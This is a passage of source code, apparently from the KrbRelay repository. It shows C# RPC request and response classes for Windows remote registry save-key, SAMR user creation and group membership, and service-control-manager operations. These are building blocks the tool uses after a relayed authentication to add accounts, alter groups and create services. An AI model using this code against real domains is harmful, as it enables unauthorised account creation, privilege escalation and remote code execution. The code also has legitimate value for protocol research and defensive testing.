LPDWORD lpcbData; 12 | public LPDWORD lpcbLen; 13 | public byte[] data; 14 | public RegType regType; 15 | 16 | public baseRegQueryValueResponse(byte[] buffer) 17 | { 18 | NDRParser parser = new NDRParser(buffer); 19 | parser.ReadEmbeddedStructureFullPointer(ref lpType); 20 | regType = (RegType)parser.ReadUInt32(); 21 | parser.ReadEmbeddedStructureFullPointer(ref lpData); 22 | parser.ReadUInt32(); 23 | parser.ReadUInt32(); 24 | uint count = parser.ReadUInt32(); 25 | data = parser.ReadBytes((int)count); 26 | parser.ReadEmbeddedStructureFullPointer(ref lpcbData); 27 | parser.ReadUInt32(); 28 | parser.ReadEmbeddedStructureFullPointer(ref lpcbLen); 29 | parser.ReadUInt32(); 30 | } 31 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/RrpService/baseRegSaveKeyRequest.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.Client.Helpers; 2 | using SMBLibrary.RPC; 3 | using SMBLibrary.Services; 4 | 5 | /// 6 | /// BaseRegSaveKey Request (opnum 20) 7 | /// 8 | public class baseRegSaveKeyRequest : IRPCRequest 9 | { 10 | public RPC_HKEY hKey; 11 | public RPC_UNICODE_STRING lpFile; 12 | public RPC_SECURITY_ATTRIBUTES pSecurityAttributes; 13 | 14 | public baseRegSaveKeyRequest() 15 | { 16 | } 17 | 18 | public byte[] GetBytes() 19 | { 20 | NDRWriter writer = new NDRWriter(); 21 | writer.WriteStructure(hKey); 22 | writer.WriteStructure(lpFile); 23 | writer.WriteStructure(pSecurityAttributes); 24 | return writer.GetBytes(); 25 | } 26 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/RrpService/baseRegSaveKeyResponse.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.RPC; 2 | 3 | /// 4 | /// BaseRegSaveKey Response (opnum 20) 5 | /// 6 | public class baseRegSaveKeyResponse 7 | { 8 | //public RPC_HKEY phkResult; 9 | 10 | public baseRegSaveKeyResponse(byte[] buffer) 11 | { 12 | NDRParser parser = new NDRParser(buffer); 13 | //phkResult = new RPC_HKEY(); 14 | //parser.ReadStructure(phkResult); 15 | } 16 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/SamrService/Enums/AccessMask.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary.Services 2 | { 3 | public enum AccessMask : uint 4 | { 5 | DELETE = 0x00010000, 6 | READ_CONTROL = 0x00020000, 7 | WRITE_DAC = 0x00040000, 8 | WRITE_OWNER = 0x00080000, 9 | ACCESS_SYSTEM_SECURITY = 0x01000000, 10 | MAXIMUM_ALLOWED = 0x02000000, 11 | GENERIC_READ = 0x80000000, 12 | GENERIC_WRITE = 0x40000000, 13 | GENERIC_EXECUTE = 0x20000000, 14 | GENERIC_ALL = 0x10000000 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/SamrService/Enums/SamrServiceOpName.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary.Services 2 | { 3 | public enum SamrServiceOpName : ushort 4 | { 5 | SamrConnect = 0, 6 | SamrCloseHandle = 1, 7 | SamrLookupDomainInSamServer = 5, 8 | samrEnumerateDomainsInSamServer = 6, 9 | SamrOpenDomain = 7, 10 | SamrCreateUserInDomain = 12, 11 | samrOpenGroup = 19, 12 | samrAddMemberToGroup = 22, 13 | samrOpenUser = 34, 14 | SamrSetInformationUser = 37, 15 | SamrSetInformationUser2 = 58, 16 | } 17 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/SamrService/SamrConnectRequest.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary; 2 | using SMBLibrary.Client.Helpers; 3 | using SMBLibrary.RPC; 4 | 5 | /// 6 | /// SamrConnect Request (opnum 0) 7 | /// 8 | public class SamrConnectRequest : IRPCRequest 9 | { 10 | public AccessMask DesiredAccess; 11 | 12 | public SamrConnectRequest() 13 | { 14 | } 15 | 16 | public byte[] GetBytes() 17 | { 18 | NDRWriter writer = new NDRWriter(); 19 | writer.WriteTopLevelUnicodeStringPointer(null); 20 | writer.WriteUInt32((uint)DesiredAccess); 21 | return writer.GetBytes(); 22 | } 23 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/SamrService/SamrConnectResponse.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.RPC; 2 | using SMBLibrary.Services; 3 | 4 | /// 5 | /// SamrConnect Response (opnum 0) 6 | /// 7 | public class SamrConnectResponse 8 | { 9 | public SamprHandle SamrHandle; 10 | 11 | public SamrConnectResponse(byte[] buffer) 12 | { 13 | NDRParser parser = new NDRParser(buffer); 14 | SamrHandle = new SamprHandle(); 15 | parser.ReadStructure(SamrHandle); 16 | } 17 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/SamrService/SamrService.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SMBLibrary.Services 4 | { 5 | /// 6 | /// [MS-SAMR] 7 | /// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr 8 | /// 9 | public class SamrService : RemoteService 10 | { 11 | public const string ServicePipeName = @"samr"; 12 | public static readonly Guid ServiceInterfaceGuid = new Guid("12345778-1234-ABCD-EF00-0123456789AC"); 13 | public const int ServiceVersion = 1; 14 | 15 | public override Guid InterfaceGuid 16 | { 17 | get 18 | { 19 | return ServiceInterfaceGuid; 20 | } 21 | } 22 | 23 | public override string PipeName 24 | { 25 | get 26 | { 27 | return ServicePipeName; 28 | } 29 | } 30 | 31 | public override byte[] GetResponseBytes(ushort opNum, byte[] requestBytes) 32 | { 33 | throw new NotImplementedException(); 34 | } 35 | } 36 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/SamrService/Structures/SAMPR_ENUMERATION_BUFFER.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.RPC; 2 | using System; 3 | 4 | namespace SMBLibrary.Services 5 | { 6 | public class SAMPR_ENUMERATION_BUFFER : INDRStructure 7 | { 8 | public uint EntriesRead; 9 | public NDRConformantArray Buffer; 10 | 11 | public void Read(NDRParser parser) 12 | { 13 | EntriesRead = parser.ReadUInt32(); 14 | Buffer = new NDRConformantArray(); 15 | parser.ReadStructure(Buffer); 16 | } 17 | 18 | public void Write(NDRWriter writer) 19 | { 20 | throw new NotImplementedException(); 21 | //writer.BeginStructure(); 22 | //writer.WriteUInt32(EntriesRead); 23 | //writer.WriteStructure(Buffer); 24 | //writer.EndStructure(); 25 | } 26 | } 27 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/SamrService/Structures/SAMPR_RID_ENUMERATION.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.RPC; 2 | 3 | namespace SMBLibrary.Services 4 | { 5 | public class SAMPR_RID_ENUMERATION : INDRStructure 6 | { 7 | public uint RelativeId; 8 | public NDRUnicodeString Name; 9 | 10 | public void Read(NDRParser parser) 11 | { 12 | RelativeId = parser.ReadUInt32(); 13 | Name = new NDRUnicodeString(); 14 | parser.ReadStructure(Name); 15 | } 16 | 17 | public void Write(NDRWriter writer) 18 | { 19 | writer.BeginStructure(); 20 | writer.WriteUInt32(RelativeId); 21 | writer.WriteStructure(Name); 22 | writer.EndStructure(); 23 | } 24 | } 25 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/SamrService/Structures/SamprHandle.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.RPC; 2 | 3 | namespace SMBLibrary.Services 4 | { 5 | public class SamprHandle : INDRStructure 6 | { 7 | //This is a RPC handle ( context_handle ), serialized into 20 bytes 8 | 9 | private uint part1; 10 | private uint part2; 11 | private uint part3; 12 | private uint part4; 13 | private uint part5; 14 | 15 | public void Read(NDRParser parser) 16 | { 17 | part1 = parser.ReadUInt32(); 18 | part2 = parser.ReadUInt32(); 19 | part3 = parser.ReadUInt32(); 20 | part4 = parser.ReadUInt32(); 21 | part5 = parser.ReadUInt32(); 22 | } 23 | 24 | public void Write(NDRWriter writer) 25 | { 26 | writer.WriteUInt32(part1); 27 | writer.WriteUInt32(part2); 28 | writer.WriteUInt32(part3); 29 | writer.WriteUInt32(part4); 30 | writer.WriteUInt32(part5); 31 | } 32 | } 33 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/SamrService/samrAddMemberToGroupRequest.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.Client.Helpers; 2 | using SMBLibrary.RPC; 3 | using SMBLibrary.Services; 4 | 5 | /// 6 | /// samrAddMemberToGroup Request (opnum 22) 7 | /// 8 | public class samrAddMemberToGroupRequest : IRPCRequest 9 | { 10 | public SamprHandle GroupHandle; 11 | public uint MemberId; 12 | public uint Attributes; 13 | 14 | public samrAddMemberToGroupRequest() 15 | { 16 | } 17 | 18 | public byte[] GetBytes() 19 | { 20 | NDRWriter writer = new NDRWriter(); 21 | writer.WriteStructure(GroupHandle); 22 | writer.WriteUInt32(MemberId); 23 | writer.WriteUInt32(Attributes); 24 | return writer.GetBytes(); 25 | } 26 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/SamrService/samrAddMemberToGroupResponse.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.RPC; 2 | 3 | /// 4 | /// samrAddMemberToGroup Response (opnum 22) 5 | /// 6 | public class samrAddMemberToGroupResponse 7 | { 8 | //public uint ErrorCode; 9 | 10 | public samrAddMemberToGroupResponse(byte[] buffer) 11 | { 12 | NDRParser parser = new NDRParser(buffer); 13 | //parser.ReadUInt32(); 14 | } 15 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/SamrService/samrCloseHandleRequest.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.Client.Helpers; 2 | using SMBLibrary.RPC; 3 | using SMBLibrary.Services; 4 | 5 | /// 6 | /// samrCloseHandle Request (opnum 01) 7 | /// 8 | public class samrCloseHandleRequest : IRPCRequest 9 | { 10 | public SamprHandle SamprHandle; 11 | 12 | public samrCloseHandleRequest() 13 | { 14 | } 15 | 16 | public byte[] GetBytes() 17 | { 18 | NDRWriter writer = new NDRWriter(); 19 | writer.WriteStructure(SamprHandle); 20 | return writer.GetBytes(); 21 | } 22 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/SamrService/samrCloseHandleResponse.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.RPC; 2 | 3 | /// 4 | /// samrCloseHandle Response (opnum 01) 5 | /// 6 | public class samrCloseHandleResponse 7 | { 8 | //public SamprHandle SamrHandle; 9 | 10 | public samrCloseHandleResponse(byte[] buffer) 11 | { 12 | NDRParser parser = new NDRParser(buffer); 13 | //SamrHandle = new SamprHandle(); 14 | //parser.ReadStructure(SamrHandle); 15 | } 16 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/SamrService/samrCreateUserInDomainRequest.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.Client.Helpers; 2 | using SMBLibrary.RPC; 3 | using SMBLibrary.Services; 4 | 5 | /// 6 | /// samrCreateUserInDomain Request (opnum 12) 7 | /// 8 | public class samrCreateUserInDomainRequest : IRPCRequest 9 | { 10 | public SamprHandle DomainHandle; 11 | public RPC_UNICODE_STRING Name; 12 | public uint DesiredAccess; 13 | 14 | public samrCreateUserInDomainRequest() 15 | { 16 | } 17 | 18 | public byte[] GetBytes() 19 | { 20 | NDRWriter writer = new NDRWriter(); 21 | writer.WriteStructure(DomainHandle); 22 | writer.WriteStructure(new RPC_UNICODE_STRING("cubetestt")); 23 | //writer.WriteUnicodeString("cubetestt"); 24 | writer.WriteUInt32((uint)DesiredAccess); 25 | return writer.GetBytes(); 26 | } 27 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/SamrService/samrCreateUserInDomainResponse.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.RPC; 2 | using SMBLibrary.Services; 3 | 4 | /// 5 | /// samrCreateUserInDomain Response (opnum 12) 6 | /// 7 | public class samrCreateUserInDomainResponse 8 | { 9 | public SamprHandle UserHandle; 10 | public uint RelativeId; 11 | 12 | public samrCreateUserInDomainResponse(byte[] buffer) 13 | { 14 | NDRParser parser = new NDRParser(buffer); 15 | UserHandle = new SamprHandle(); 16 | parser.ReadStructure(UserHandle); 17 | RelativeId = parser.ReadUInt32(); 18 | } 19 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/SamrService/samrEnumerateDomainsInSamServerRequest.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.Client.Helpers; 2 | using SMBLibrary.RPC; 3 | using SMBLibrary.Services; 4 | 5 | /// 6 | /// samrEnumerateDomainsInSamServer Request (opnum 06) 7 | /// 8 | public class samrEnumerateDomainsInSamServerRequest : IRPCRequest 9 | { 10 | public SamprHandle ServerHandle; 11 | public uint EnumerationContext; 12 | public uint PreferedMaximumLength; 13 | 14 | public samrEnumerateDomainsInSamServerRequest() 15 | { 16 | } 17 | 18 | public byte[] GetBytes() 19 | { 20 | NDRWriter writer = new NDRWriter(); 21 | writer.WriteStructure(ServerHandle); 22 | writer.WriteUInt32(EnumerationContext); 23 | writer.WriteUInt32(PreferedMaximumLength); 24 | return writer.GetBytes(); 25 | } 26 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/SamrService/samrEnumerateDomainsInSamServerResponse.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.RPC; 2 | using SMBLibrary.Services; 3 | 4 | /// 5 | /// samrEnumerateDomainsInSamServer Response (opnum 06) 6 | /// TODO: FIX READING BUG 7 | /// 8 | public class samrEnumerateDomainsInSamServerResponse 9 | { 10 | public uint EnumerationContext; 11 | public SAMPR_ENUMERATION_BUFFER Buffer; 12 | public uint CountReturned; 13 | 14 | public samrEnumerateDomainsInSamServerResponse(byte[] buffer) 15 | { 16 | NDRParser parser = new NDRParser(buffer); 17 | EnumerationContext = parser.ReadUInt32(); 18 | Buffer = new SAMPR_ENUMERATION_BUFFER(); 19 | parser.ReadStructure(Buffer); 20 | CountReturned = parser.ReadUInt32(); 21 | } 22 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/SamrService/samrLookupDomainInSamServerRequest.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.Client.Helpers; 2 | using SMBLibrary.RPC; 3 | using SMBLibrary.Services; 4 | 5 | /// 6 | /// samrEnumerateDomainsInSamServer Request (opnum 05) 7 | /// 8 | public class samrLookupDomainInSamServerRequest : IRPCRequest 9 | { 10 | public SamprHandle ServerHandle; 11 | public NDRUnicodeString Name; 12 | 13 | public samrLookupDomainInSamServerRequest() 14 | { 15 | } 16 | 17 | public byte[] GetBytes() 18 | { 19 | NDRWriter writer = new NDRWriter(); 20 | writer.WriteStructure(ServerHandle); 21 | writer.WriteStructure(Name); 22 | return writer.GetBytes(); 23 | } 24 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/SamrService/samrLookupDomainInSamServerResponse.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.RPC; 2 | 3 | /// 4 | /// samrLookupDomainInSamServer Response (opnum 05) 5 | /// 6 | public class samrLookupDomainInSamServerResponse 7 | { 8 | public uint DomainId; 9 | 10 | public samrLookupDomainInSamServerResponse(byte[] buffer) 11 | { 12 | NDRParser parser = new NDRParser(buffer); 13 | DomainId = parser.ReadUInt32(); 14 | } 15 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/SamrService/samrOpenDomainRequest.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary; 2 | using SMBLibrary.Client.Helpers; 3 | using SMBLibrary.RPC; 4 | using SMBLibrary.Services; 5 | 6 | /// 7 | /// samrOpenDomain Request (opnum 07) 8 | /// 9 | public class samrOpenDomainRequest : IRPCRequest 10 | { 11 | public SamprHandle SamprHandle; 12 | public AccessMask DesiredAccess; 13 | public SMBLibrary.SID DomainId; 14 | 15 | public samrOpenDomainRequest() 16 | { 17 | } 18 | 19 | public byte[] GetBytes() 20 | { 21 | NDRWriter writer = new NDRWriter(); 22 | writer.WriteStructure(SamprHandle); 23 | writer.WriteUInt32((uint)DesiredAccess); 24 | writer.WriteStructure(new NDRSID(DomainId)); 25 | return writer.GetBytes(); 26 | } 27 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/SamrService/samrOpenDomainResponse.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.RPC; 2 | using SMBLibrary.Services; 3 | 4 | /// 5 | /// samrOpenDomain Response (opnum 07) 6 | /// 7 | public class samrOpenDomainResponse 8 | { 9 | public SamprHandle DomainHandle; 10 | 11 | public samrOpenDomainResponse(byte[] buffer) 12 | { 13 | NDRParser parser = new NDRParser(buffer); 14 | DomainHandle = new SamprHandle(); 15 | parser.ReadStructure(DomainHandle); 16 | } 17 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/SamrService/samrOpenGroupRequest.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary; 2 | using SMBLibrary.Client.Helpers; 3 | using SMBLibrary.RPC; 4 | using SMBLibrary.Services; 5 | 6 | /// 7 | /// samrOpenGroup Request (opnum 19) 8 | /// 9 | public class samrOpenGroupRequest : IRPCRequest 10 | { 11 | public SamprHandle DomainHandle; 12 | public AccessMask DesiredAccess; 13 | public uint GroupId; 14 | 15 | public samrOpenGroupRequest() 16 | { 17 | } 18 | 19 | public byte[] GetBytes() 20 | { 21 | NDRWriter writer = new NDRWriter(); 22 | writer.WriteStructure(DomainHandle); 23 | writer.WriteUInt32((uint)DesiredAccess); 24 | writer.WriteUInt32(GroupId); 25 | return writer.GetBytes(); 26 | } 27 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/SamrService/samrOpenGroupResponse.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.RPC; 2 | using SMBLibrary.Services; 3 | 4 | /// 5 | /// samrOpenGroup Response (opnum 19) 6 | /// 7 | public class samrOpenGroupResponse 8 | { 9 | public SamprHandle GroupHandle; 10 | 11 | public samrOpenGroupResponse(byte[] buffer) 12 | { 13 | NDRParser parser = new NDRParser(buffer); 14 | GroupHandle = new SamprHandle(); 15 | parser.ReadStructure(GroupHandle); 16 | } 17 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/SamrService/samrOpenUserRequest.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary; 2 | using SMBLibrary.Client.Helpers; 3 | using SMBLibrary.RPC; 4 | using SMBLibrary.Services; 5 | 6 | /// 7 | /// samrOpenUser Request (opnum 34) 8 | /// 9 | public class samrOpenUserRequest : IRPCRequest 10 | { 11 | public SamprHandle DomainHandle; 12 | public AccessMask DesiredAccess; 13 | public uint UserId; 14 | 15 | public samrOpenUserRequest() 16 | { 17 | } 18 | 19 | public byte[] GetBytes() 20 | { 21 | NDRWriter writer = new NDRWriter(); 22 | writer.WriteStructure(DomainHandle); 23 | writer.WriteUInt32((uint)DesiredAccess); 24 | writer.WriteUInt32(UserId); 25 | return writer.GetBytes(); 26 | } 27 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/SamrService/samrOpenUserResponse.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.RPC; 2 | using SMBLibrary.Services; 3 | 4 | /// 5 | /// samrOpenUser Response (opnum 34) 6 | /// 7 | public class samrOpenUserResponse 8 | { 9 | public SamprHandle UserHandle; 10 | 11 | public samrOpenUserResponse(byte[] buffer) 12 | { 13 | NDRParser parser = new NDRParser(buffer); 14 | UserHandle = new SamprHandle(); 15 | parser.ReadStructure(UserHandle); 16 | } 17 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/SamrService/samrSetInformationUserRequest.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.Client.Helpers; 2 | using SMBLibrary.RPC; 3 | using SMBLibrary.Services; 4 | 5 | /// 6 | /// samrSetInformationUser2 Request (opnum 37) 7 | /// 8 | public class samrSetInformationUserRequest2 : IRPCRequest 9 | { 10 | public SamprHandle UserHandle; 11 | public uint UserInformationClass; 12 | public SAMPR_USER_INFO_BUFFER Buffer; 13 | 14 | public samrSetInformationUserRequest2() 15 | { 16 | } 17 | 18 | public byte[] GetBytes() 19 | { 20 | NDRWriter writer = new NDRWriter(); 21 | writer.WriteStructure(UserHandle); 22 | writer.WriteUInt16((ushort)UserInformationClass); 23 | writer.WriteUInt16((ushort)UserInformationClass); 24 | writer.WriteStructure(Buffer); 25 | return writer.GetBytes(); 26 | } 27 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/SamrService/samrSetInformationUserResponse.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.RPC; 2 | 3 | /// 4 | /// samrSetInformationUser2 Response (opnum 37) 5 | /// 6 | public class samrSetInformationUserResponse2 7 | { 8 | //public SamprHandle UserHandle; 9 | 10 | public samrSetInformationUserResponse2(byte[] buffer) 11 | { 12 | NDRParser parser = new NDRParser(buffer); 13 | //UserHandle = new SamprHandle(); 14 | //parser.ReadStructure(UserHandle); 15 | } 16 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/ScmrService/Enums/SERIVCE_STARTUP.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary.Services 2 | { 3 | public enum SERIVCE_STARTUP : uint 4 | { 5 | SERVICE_BOOT_START = 0x00000000, 6 | SERVICE_SYSTEM_START = 0x00000001, 7 | SERVICE_AUTO_START = 0x00000002, 8 | SERVICE_DEMAND_START = 0x00000003, 9 | SERVICE_DISABLED = 0x00000004, 10 | SERVICE_NO_CHANGE = 0xffffffff, 11 | } 12 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/ScmrService/Enums/SERVICE_ACCESS.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary.Services 2 | { 3 | public enum SERVICE_ENUM : uint 4 | { 5 | SERVICE_ALL_ACCESS = 0X000F01FF, 6 | SERVICE_CHANGE_CONFIG = 0X00000002, 7 | SERVICE_ENUMERATE_DEPENDENTS = 0X00000008, 8 | SERVICE_INTERROGATE = 0X00000080, 9 | SERVICE_PAUSE_CONTINUE = 0X00000040, 10 | SERVICE_QUERY_CONFIG = 0X00000001, 11 | SERVICE_QUERY_STATUS = 0X00000004, 12 | SERVICE_START = 0X00000010, 13 | SERVICE_STOP = 0X00000020, 14 | SERVICE_USER_DEFINED_CTRL = 0X00000100, 15 | SERVICE_SET_STATUS = 0X00008000, 16 | 17 | // Specific Access for SCM 18 | SC_MANAGER_LOCK = 0x00000008, 19 | 20 | SC_MANAGER_CREATE_SERVICE = 0x00000002, 21 | SC_MANAGER_ENUMERATE_SERVICE = 0x00000004, 22 | SC_MANAGER_CONNECT = 0x00000001, 23 | SC_MANAGER_QUERY_LOCK_STATUS = 0x00000010, 24 | SC_MANAGER_MODIFY_BOOT_CONFIG = 0x00000020, 25 | } 26 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/ScmrService/Enums/ScmrServiceOpName.cs: -------------------------------------------------------------------------------- 1 | namespace SMBLibrary.Services 2 | { 3 | public enum ScmrServiceOpName : ushort 4 | { 5 | rCloseServiceHandle = 0, 6 | rControlService = 1, 7 | rQueryServiceStatus = 6, 8 | rChangeServiceConfigW = 11, 9 | rCreateServiceW = 12, 10 | rOpenSCManagerW = 15, 11 | rOpenServiceW = 16, 12 | rQueryServiceConfigW = 17, 13 | rStartServiceW = 19, 14 | } 15 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/ScmrService/RCreateServiceWResponse.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.RPC; 2 | using SMBLibrary.Services; 3 | 4 | /// 5 | /// RCreateServiceW Response (opnum 12) 6 | /// 7 | public class RCreateServiceWResponse 8 | { 9 | public string lpdwTagIdl; 10 | public LPSC_RPC_HANDLE lpScHandle; 11 | 12 | public RCreateServiceWResponse(byte[] buffer) 13 | { 14 | NDRParser parser = new NDRParser(buffer); 15 | 16 | parser.BeginStructure(); 17 | parser.ReadTopLevelUnicodeStringPointer(); 18 | lpScHandle = new LPSC_RPC_HANDLE(); 19 | parser.ReadStructure(lpScHandle); 20 | parser.EndStructure(); 21 | } 22 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/ScmrService/ROpenSCManagerWRequest.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.Client.Helpers; 2 | using SMBLibrary.RPC; 3 | using SMBLibrary.Services; 4 | 5 | /// 6 | /// ROpenSCManagerW Request (opnum 15) 7 | /// 8 | public class ROpenSCManagerWRequest : IRPCRequest 9 | { 10 | public string lpMachineName; 11 | public string lpDatabaseName; 12 | public SERVICE_ENUM dwDesiredAccess; 13 | 14 | public ROpenSCManagerWRequest() 15 | { 16 | } 17 | 18 | public byte[] GetBytes() 19 | { 20 | NDRWriter writer = new NDRWriter(); 21 | writer.WriteTopLevelUnicodeStringPointer(null); 22 | writer.WriteTopLevelUnicodeStringPointer(lpDatabaseName); 23 | writer.WriteUInt32((uint)dwDesiredAccess); 24 | return writer.GetBytes(); 25 | } 26 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/ScmrService/ROpenSCManagerWResponse.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.RPC; 2 | using SMBLibrary.Services; 3 | 4 | /// 5 | /// ROpenSCManagerW Response (opnum 15) 6 | /// 7 | public class ROpenSCManagerWResponse 8 | { 9 | public LPSC_RPC_HANDLE lpScHandle; 10 | 11 | public ROpenSCManagerWResponse(byte[] buffer) 12 | { 13 | NDRParser parser = new NDRParser(buffer); 14 | 15 | parser.BeginStructure(); 16 | lpScHandle = new LPSC_RPC_HANDLE(); 17 | parser.ReadStructure(lpScHandle); 18 | parser.EndStructure(); 19 | } 20 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/ScmrService/ScmrService.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | 3 | namespace SMBLibrary.Services 4 | { 5 | /// 6 | /// [MS-SCMR] 7 | /// https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-scmr 8 | /// 9 | public class ScmrService : RemoteService 10 | { 11 | public const string ServicePipeName = @"svcctl"; 12 | public static readonly Guid ServiceInterfaceGuid = new Guid("367ABB81-9844-35F1-AD32-98F038001003"); 13 | public const int ServiceVersion = 2; 14 | 15 | public override Guid InterfaceGuid 16 | { 17 | get 18 | { 19 | return ServiceInterfaceGuid; 20 | } 21 | } 22 | 23 | public override string PipeName 24 | { 25 | get 26 | { 27 | return ServicePipeName; 28 | } 29 | } 30 | 31 | public override byte[] GetResponseBytes(ushort opNum, byte[] requestBytes) 32 | { 33 | throw new NotImplementedException(); 34 | } 35 | } 36 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/ScmrService/Structures/LPSC_RPC_HANDLE.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.RPC; 2 | 3 | namespace SMBLibrary.Services 4 | { 5 | public class LPSC_RPC_HANDLE : INDRStructure 6 | { 7 | //This is a RPC handle ( context_handle ), serialized into 20 bytes 8 | 9 | private uint part1; 10 | private uint part2; 11 | private uint part3; 12 | private uint part4; 13 | private uint part5; 14 | 15 | public void Read(NDRParser parser) 16 | { 17 | part1 = parser.ReadUInt32(); 18 | part2 = parser.ReadUInt32(); 19 | part3 = parser.ReadUInt32(); 20 | part4 = parser.ReadUInt32(); 21 | part5 = parser.ReadUInt32(); 22 | } 23 | 24 | public void Write(NDRWriter writer) 25 | { 26 | writer.WriteUInt32(part1); 27 | writer.WriteUInt32(part2); 28 | writer.WriteUInt32(part3); 29 | writer.WriteUInt32(part4); 30 | writer.WriteUInt32(part5); 31 | } 32 | } 33 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/ScmrService/rChangeServiceConfigWResponse.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.RPC; 2 | using SMBLibrary.Services; 3 | 4 | /// 5 | /// rChangeServiceConfigW Response (opnum 11) 6 | /// 7 | public class rChangeServiceConfigWResponse 8 | { 9 | public uint lpdwTagId; 10 | 11 | public rChangeServiceConfigWResponse(byte[] buffer) 12 | { 13 | NDRParser parser = new NDRParser(buffer); 14 | 15 | parser.BeginStructure(); 16 | lpdwTagId = parser.ReadUInt32(); 17 | parser.EndStructure(); 18 | } 19 | } -------------------------------------------------------------------------------- /KrbRelay/Smb/RPCForSMBLibrary/Services/ScmrService/rCloseServiceHandleRequest.cs: -------------------------------------------------------------------------------- 1 | using SMBLibrary.Client.Helpers; 2 | using SMBLibrary.RPC; 3 | using SMBLibrary.Services; 4 | 5 | /// 6 | /// rCloseServiceHandle Request (opnum 0) 7 | /// 8 | public class rCloseServiceHandleRequest : IRPCRequest 9 | { 10 | public LPSC_RPC_HANDLE hSCObject; 11 | 12 | public rCloseServiceHandleRequest() 13 | { 14 | } 15 | 16 | public byte[] GetBytes() 17 | { 18 | NDRWriter writer = new NDRWriter(); 19 | writer.WriteStructure(hSCObject); 20 | return writer.GetBytes(); 21 | } 22 | } -------------------------------------------------------------------------------- 